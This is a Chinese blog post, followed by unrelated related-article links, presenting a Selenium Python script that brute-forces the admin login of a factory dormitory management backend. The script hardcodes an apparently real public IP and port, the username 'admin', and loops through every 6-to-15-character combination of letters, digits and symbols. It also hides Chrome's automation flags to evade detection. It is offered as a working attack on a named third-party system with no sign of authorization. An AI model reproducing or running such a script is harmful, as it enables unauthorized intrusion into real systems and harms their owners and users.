1. title: 某厂区宿舍管理后台密码爆破-selenium测试
  2. author: 杨晓东
  3. permalink: 某厂区宿舍管理后台密码爆破-selenium测试
  4. date: 2021-10-02 11:27:04
  5. categories:
  6. - 嗯哼
  7. tags:
  8. - 无聊

某厂区宿舍管理后台密码爆破-selenium测试

  1. from selenium import webdriver
  2. import time
  3. import itertools
  4. # 装饰器 计算时间
  5. def time_out(a_func):
  6. def clocked(*args, **kwargs):
  7. start = time.time()
  8. result = a_func(*args, **kwargs)
  9. end = time.time()
  10. print("程序:" + a_func.__name__, " 运行时间:" + str(end - start))
  11. return result
  12. return clocked
  13. # 请求方法
  14. @time_out
  15. def get(driver, url, count, use):
  16. driver.get(url)
  17. driver.implicitly_wait(10)
  18. """
  19. 数字 + 小写字母 + 大写字母 + 符号
  20. :return:
  21. """
  22. chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$%^&*?_-."
  23. for a in range(6,16):
  24. for c in itertools.product(chars, repeat=a):
  25. count += 1
  26. password = ''.join(c)
  27. driver.implicitly_wait(10)
  28. print("................................开始自动填充密码 爆破中.......................................")
  29. # 用户名 admin
  30. user = driver.find_element_by_id("txtUserName")
  31. user.click()
  32. user.clear()
  33. user.send_keys(use)
  34. # 密码爆破开始
  35. paswd = driver.find_element_by_id("txtPwd")
  36. paswd.click()
  37. paswd.clear()
  38. # 页面输入密码
  39. paswd.send_keys(password)
  40. # 网页 js 密码注入
  41. # js_code = 'document.getElementById("lgPwd").innerHTML="{}";'.format(password)
  42. # print(js_code)
  43. # driver.execute_script(js_code)
  44. # 点击登陆按钮
  45. driver.find_element_by_id("btnLogin").click()
  46. driver.implicitly_wait(15)
  47. # 关闭密码错误提示框
  48. # driver.find_element_by_css_selector('#pop_163370375869635439 > div.popBox > div.ttBox > a').click()
  49. # 刷新界面
  50. driver.refresh()
  51. print('*************** 第 ' + str(count) + ' 组密码 ***************')
  52. print("当前 ",a," 位密码测试")
  53. print("用户名:",use)
  54. print("密码:",password)
  55. # 程序入口
  56. if __name__ == '__main__':
  57. # 标识 当前目录
  58. # url = "http://tplogin.cn/"
  59. url = "http://183.230.147.88:8081/"
  60. use = 'admin'
  61. count = 0
  62. # 去除浏览器被控 字样
  63. options = webdriver.ChromeOptions()
  64. options.add_experimental_option("excludeSwitches", ['enable-automation'])
  65. options.add_experimental_option('useAutomationExtension', False)
  66. driver = webdriver.Chrome(options=options) # driver = webdriver.Chrome(executable_path=r'D:PATHchromedriver.exe')?
  67. get(driver, url,count,use)

一个厂区宿舍管理后台密码爆破 - selenium版的更多相关文章

  1. 拼凑一个ABP VNext管理后台

    介绍 本项目前后端分离,后端采用ABP VNext框架,前端Vue. 项目地址: https://github.com/pojianbing/AuthCenter 目前包含的模块有: 身份认证管理 I ...

  2. 从0到1用react+antd+redux搭建一个开箱即用的企业级管理后台系列(基础篇)

    背景 ​ 最近因为要做一个新的管理后台项目,新公司大部分是用vue写的,技术栈这块也是想切到react上面来,所以,这次从0到1重新搭建一个react项目架子,需要考虑的东西的很多,包括目录结构.代码 ...

  3. django admin后台(数据库简单管理后台)

    只需要简单的几行胆码就可以生成一个完整的管理后台 这个就是django魅力之一 创建超级用户 python manage.py createsuperuser     ----  之后会提示输入用慕名 ...

  4. 【Python】神器:Streamlit,仅使用Python开发一个运维管理后台(不需要编写html,js,css)

    背景 作为SRE,我们有很多很多自动化的工具,大部分都是自动运行的,还有一部分是CLI,我们一直苦于没有一个自己的管理后台网站,受限于前端能力薄弱,开发出来的网页只能说凑活能用,但是不好用. 现在我们 ...

  5. 【转】手摸手,带你用vue撸后台 系列四(vueAdmin 一个极简的后台基础模板)

    前言 做这个 vueAdmin-template 的主要原因是: vue-element-admin 这个项目的初衷是一个vue的管理后台集成方案,把平时用到的一些组件或者经验分享给大家,同时它也在不 ...

  6. [Xcode 实际操作]九、实用进阶-(28)在iTunes Connect(苹果商店的管理后台)中创建一个新的新的APP

    目录:[Swift]Xcode实际操作 本文将演示如何在iTunes Connect(苹果商店的管理后台)中创建一个新的新的APP. 首先要做的是打开浏览器,并进入[iTunesConnect网站], ...

  7. 简单使用Laravel-admin构建一个功能强大的后台管理

    Laravel-admin可以快速构建一个功能强大的后台,方便快速开发. 以下内容记录简单使用Laravel-admin,以及遇到小错误的解决方法. Laravel-admin 依赖以下环境 需要提前 ...

  8. activemq设置后台管理用户名密码,及生产者消息密码

    activemq设置后台管理用户名密码,及生产者消息密码 1.修改conf/activemq.xml 在<broker>标签下,找到</shutdownHooks>标签.在这个 ...

  9. 写了一个vue+antdv的后台管理模板

    1,项目简介 写在前面===>这是一个vue+antdv的后台管理模板 项目地址: https://github.com/BaiFangZi/vue-antd-manage 1.1,概述 ​ 最 ...

  10. Tomcat默认界面可导致版本信息泄露+管理后台爆破

    由于配置的Tomcat时,管理页面未进行删除或者权限角色配置,攻击者可以通过暴力猜解进入到管理后台,从而上传获取shell. Tomcat的默认工具manager配置,在很多的生产环境中由于基本用不到 ...

随机推荐

  1. 网络编程 UDP套接字

    第十二章 UDP套接字 12.1 前言 上一章讲述了TCP通信方式,它是基于流的面向连接的网络通信.UDP是IP协议上的另一种传输协议. TCP和UDP都是端到端的通信协议,都处于TCP/IP网络模型 ...

  2. 2_cookie、session、token、sign

    一.关于cookie.session.token.sign 借鉴链接:https://juejin.cn/post/7147913027785293855

  3. [cocos2d-x]判断两个矩形是否有交叉区域

    bool Rect::intersectsRect(const Rect& rect) const { return !( getMaxX() < rect.getMinX() || r ...

  4. Kafka初学习

    Kafka初学习   摘要:在之前的消息队列学习中,我已经了解了消息队列的基本概念以及基本用法,同时也了解到了市面上的几款消息队列中间件,其中我了解到了卡夫卡这款消息队列中间件是一款最为快速的消息队列 ...

  5. Gvim基础操作-01

    Gvim基础操作 进行代码或者是文本.脚本都要使用到文本编辑工具. vi是visual的缩写,其意为可视化.它是Unix系统文本编辑的标准工具.利用光标在屏幕上的移动,用户可以方便的建立.修改或者插入 ...

  6. 解决 requests cookies 为空的坑

    转载请注明出处️ 作者:测试蔡坨坨 原文链接:caituotuo.top/5d14f0d7.html 你好,我是测试蔡坨坨. 我们在做接口自动化测试的时候,一般会通过调用登录接口来获取cookies. ...

  7. Dijkstra算法详解(朴素算法+堆优化)

    定义 Dijkstra(读音:/'daɪkstrə/)算法,是用来求解一个边带权图中从某个顶点出发到达其余各个顶点的最短距离的算法.(为表达简便,下文中"起点(源点)到某个顶点的距离&quo ...

  8. Android IO 框架 Okio 的实现原理,到底哪里 OK?

    本文已收录到 AndroidFamily,技术和职场问题,请关注公众号 [彭旭锐] 提问. 前言 大家好,我是小彭. 今天,我们来讨论一个 Square 开源的 I/O 框架 Okio,我们最开始接触 ...

  9. Spacemacs换源无效果

    我改了发现没用,找了好久问题,才发现变量名改了,以前修改源是configuration-layer–elpa-archives这个变量,现在改为configuration-layer-elpa-arc ...

  10. Tengine01

    1 简介 Tengine是nginx的一个版本 Tengine文档:http://tengine.taobao.org/ nginx官网: http://nginx.org Nginx (" ...